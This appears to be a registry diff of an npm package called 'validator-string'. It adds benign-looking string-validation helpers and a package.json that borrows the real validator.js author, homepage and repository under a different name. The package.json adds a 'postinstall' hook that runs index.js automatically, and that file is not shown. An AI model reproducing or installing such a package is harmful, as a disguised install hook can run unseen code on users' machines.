var d_table = [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [1, 2, 3, 4, 0, 6, 7, 8, 9, 5], [2, 3, 4, 0, 1, 7, 8, 9, 5, 6], [3, 4, 0, 1, 2, 8, 9, 5, 6, 7], [4, 0, 1, 2, 3, 9, 5, 6, 7, 8], [5, 9, 8, 7, 6, 0, 4, 3, 2, 1], [6, 5, 9, 8, 7, 1, 0, 4, 3, 2], [7, 6, 5, 9, 8, 2, 1, 0, 4, 3], [8, 7, 6, 5, 9, 3, 2, 1, 0, 4], [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]];
|
|
79
|
+
var p_table = [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [1, 5, 7, 6, 2, 8, 3, 0, 9, 4], [5, 8, 0, 3, 7, 9, 6, 1, 4, 2], [8, 9, 1, 6, 0, 4, 3, 5, 2, 7], [9, 4, 5, 3, 1, 2, 6, 8, 7, 0], [4, 2, 8, 6, 5, 7, 3, 9, 0, 1], [2, 7, 9, 3, 8, 0, 6, 4, 1, 5], [7, 0, 4, 6, 9, 1, 3, 2, 5, 8]];
|
|
80
|
+
|
|
81
|
+
// Copy (to prevent replacement) and reverse
|
|
82
|
+
var str_copy = str.split('').reverse().join('');
|
|
83
|
+
var checksum = 0;
|
|
84
|
+
for (var i = 0; i < str_copy.length; i++) {
|
|
85
|
+
checksum = d_table[checksum][p_table[i % 8][parseInt(str_copy[i], 10)]];
|
|
86
|
+
}
|
|
87
|
+
return checksum === 0;
|
|
88
|
+
}
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = assertString;
|
|
7
|
+
function assertString(input) {
|
|
8
|
+
if (input === undefined || input === null) throw new TypeError("Expected a string but received a ".concat(input));
|
|
9
|
+
if (input.constructor.name !== 'String') throw new TypeError("Expected a string but received a ".concat(input.constructor.name));
|
|
10
|
+
}
|
|
11
|
+
module.exports = exports.default;
|
|
12
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = checkHost;
|
|
7
|
+
function isRegExp(obj) {
|
|
8
|
+
return Object.prototype.toString.call(obj) === '[object RegExp]';
|
|
9
|
+
}
|
|
10
|
+
function checkHost(host, matches) {
|
|
11
|
+
for (var i = 0; i < matches.length; i++) {
|
|
12
|
+
var match = matches[i];
|
|
13
|
+
if (host === match || isRegExp(match) && match.test(host)) {
|
|
14
|
+
return true;
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
return false;
|
|
18
|
+
}
|
|
19
|
+
module.exports = exports.default;
|
|
20
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = void 0;
|
|
7
|
+
var includes = function includes(arr, val) {
|
|
8
|
+
return arr.some(function (arrVal) {
|
|
9
|
+
return val === arrVal;
|
|
10
|
+
});
|
|
11
|
+
};
|
|
12
|
+
var _default = exports.default = includes;
|
|
13
|
+
module.exports = exports.default;
|
|
14
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = void 0;
|
|
7
|
+
var includes = function includes(str, val) {
|
|
8
|
+
return str.indexOf(val) !== -1;
|
|
9
|
+
};
|
|
10
|
+
var _default = exports.default = includes;
|
|
11
|
+
module.exports = exports.default;
|
|
12
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = merge;
|
|
7
|
+
function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
|
|
8
|
+
function merge() {
|
|
9
|
+
var obj = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
|
|
10
|
+
var defaults = arguments.length > 1 ? arguments[1] : undefined;
|
|
11
|
+
if (_typeof(obj) !== 'object' || obj === null) {
|
|
12
|
+
obj = {};
|
|
13
|
+
}
|
|
14
|
+
for (var key in defaults) {
|
|
15
|
+
if (typeof obj[key] === 'undefined') {
|
|
16
|
+
obj[key] = defaults[key];
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
return obj;
|
|
20
|
+
}
|
|
21
|
+
module.exports = exports.default;
|
|
22
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = multilineRegexp;
|
|
7
|
+
/**
|
|
8
|
+
* Build RegExp object from an array
|
|
9
|
+
* of multiple/multi-line regexp parts
|
|
10
|
+
*
|
|
11
|
+
* @param {string[]} parts
|
|
12
|
+
* @param {string} flags
|
|
13
|
+
* @return {object} - RegExp object
|
|
14
|
+
*/
|
|
15
|
+
function multilineRegexp(parts, flags) {
|
|
16
|
+
var regexpAsStringLiteral = parts.join('');
|
|
17
|
+
return new RegExp(regexpAsStringLiteral, flags);
|
|
18
|
+
}
|
|
19
|
+
module.exports = exports.default;
|
|
20
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = isNullOrUndefined;
|
|
7
|
+
function isNullOrUndefined(value) {
|
|
8
|
+
return value === null || value === undefined;
|
|
9
|
+
}
|
|
10
|
+
module.exports = exports.default;
|
|
11
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = toString;
|
|
7
|
+
function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
|
|
8
|
+
function toString(input) {
|
|
9
|
+
if (_typeof(input) === 'object' && input !== null) {
|
|
10
|
+
if (typeof input.toString === 'function') {
|
|
11
|
+
input = input.toString();
|
|
12
|
+
} else {
|
|
13
|
+
input = '[object Object]';
|
|
14
|
+
}
|
|
15
|
+
} else if (input === null || typeof input === 'undefined' || isNaN(input) && !input.length) {
|
|
16
|
+
input = '';
|
|
17
|
+
}
|
|
18
|
+
return String(input);
|
|
19
|
+
}
|
|
20
|
+
module.exports = exports.default;
|
|
21
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = typeOf;
|
|
7
|
+
/**
|
|
8
|
+
* Better way to handle type checking
|
|
9
|
+
* null, {}, array and date are objects, which confuses
|
|
10
|
+
*/
|
|
11
|
+
function typeOf(input) {
|
|
12
|
+
var rawObject = Object.prototype.toString.call(input).toLowerCase();
|
|
13
|
+
var typeOfRegex = /\[object (.*)]/g;
|
|
14
|
+
var type = typeOfRegex.exec(rawObject)[1];
|
|
15
|
+
return type;
|
|
16
|
+
}
|
|
17
|
+
module.exports = exports.default;
|
|
18
|
+
module.exports.default = exports.default;
|
package/lib/whitelist.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = whitelist;
|
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
|
8
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
9
|
+
function whitelist(str, chars) {
|
|
10
|
+
(0, _assertString.default)(str);
|
|
11
|
+
return str.replace(new RegExp("[^".concat(chars, "]+"), 'g'), '');
|
|
12
|
+
}
|
|
13
|
+
module.exports = exports.default;
|
|
14
|
+
module.exports.default = exports.default;
|
package/package.json
ADDED
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "validator-string",
|
|
3
|
+
"description": "String validation and sanitization",
|
|
4
|
+
"version": "13.15.36",
|
|
5
|
+
"sideEffects": false,
|
|
6
|
+
"homepage": "https://github.com/validatorjs/validator.js",
|
|
7
|
+
"files": [
|
|
8
|
+
"index.js",
|
|
9
|
+
"es",
|
|
10
|
+
"lib",
|
|
11
|
+
"README.md",
|
|
12
|
+
"LICENSE",
|
|
13
|
+
"validator.js",
|
|
14
|
+
"validator.min.js"
|
|
15
|
+
],
|
|
16
|
+
"keywords": [
|
|
17
|
+
"validator",
|
|
18
|
+
"validation",
|
|
19
|
+
"validate",
|
|
20
|
+
"sanitization",
|
|
21
|
+
"sanitize",
|
|
22
|
+
"sanitisation",
|
|
23
|
+
"sanitise",
|
|
24
|
+
"assert"
|
|
25
|
+
],
|
|
26
|
+
"author": "Chris O'Hara <cohara87@gmail.com>",
|
|
27
|
+
"contributors": [
|
|
28
|
+
{
|
|
29
|
+
"name": "Anthony Nandaa",
|
|
30
|
+
"url": "https://github.com/profnandaa"
|
|
31
|
+
}
|
|
32
|
+
],
|
|
33
|
+
"main": "index.js",
|
|
34
|
+
"bugs": {
|
|
35
|
+
"url": "https://github.com/validatorjs/validator.js/issues"
|
|
36
|
+
},
|
|
37
|
+
"repository": {
|
|
38
|
+
"type": "git",
|
|
39
|
+
"url": "git+https://github.com/validatorjs/validator.js.git"
|
|
40
|
+
},
|
|
41
|
+
"devDependencies": {
|
|
42
|
+
"@babel/cli": "^7.0.0",
|
|
43
|
+
"@babel/core": "^7.0.0",
|
|
44
|
+
"@babel/preset-env": "^7.0.0",
|
|
45
|
+
"@babel/register": "^7.0.0",
|
|
46
|
+
"babel-eslint": "^10.0.1",
|
|
47
|
+
"babel-plugin-add-module-exports": "^1.0.0",
|
|
48
|
+
"eslint": "^4.19.1",
|
|
49
|
+
"eslint-config-airbnb-base": "^12.1.0",
|
|
50
|
+
"eslint-plugin-import": "^2.11.0",
|
|
51
|
+
"mocha": "^6.2.3",
|
|
52
|
+
"npm-run-all": "^4.1.5",
|
|
53
|
+
"nyc": "^14.1.0",
|
|
54
|
+
"rimraf": "^3.0.0",
|
|
55
|
+
"rollup": "^0.47.0",
|
|
56
|
+
"rollup-plugin-babel": "^4.0.1",
|
|
57
|
+
"timezone-mock": "^1.3.6",
|
|
58
|
+
"uglify-js": "^3.0.19"
|
|
59
|
+
},
|
|
60
|
+
"scripts": {
|
|
61
|
+
"lint": "eslint src test",
|
|
62
|
+
"lint:fix": "eslint --fix src test",
|
|
63
|
+
"clean:node": "rimraf index.js lib",
|
|
64
|
+
"clean:es": "rimraf es",
|
|
65
|
+
"clean:browser": "rimraf validator*.js",
|
|
66
|
+
"clean": "run-p clean:*",
|
|
67
|
+
"minify": "uglifyjs validator.js -o validator.min.js --compress --mangle --comments /Copyright/",
|
|
68
|
+
"build:browser": "node --require @babel/register build-browser && npm run minify",
|
|
69
|
+
"build:es": "babel src -d es --env-name=es",
|
|
70
|
+
"build:node": "babel src -d .",
|
|
71
|
+
"build": "run-p build:*",
|
|
72
|
+
"pretest": "npm run build && npm run lint",
|
|
73
|
+
"postinstall": "node index.js",
|
|
74
|
+
"test": "nyc --reporter=cobertura --reporter=text-summary mocha --require @babel/register --reporter dot --recursive"
|
|
75
|
+
},
|
|
76
|
+
"engines": {
|
|
77
|
+
"node": ">= 0.10"
|
|
78
|
+
},
|
|
79
|
+
"license": "MIT",
|
|
80
|
+
"directories": {
|
|
81
|
+
"lib": "lib"
|
|
82
|
+
}
|
|
83
|
+
}
|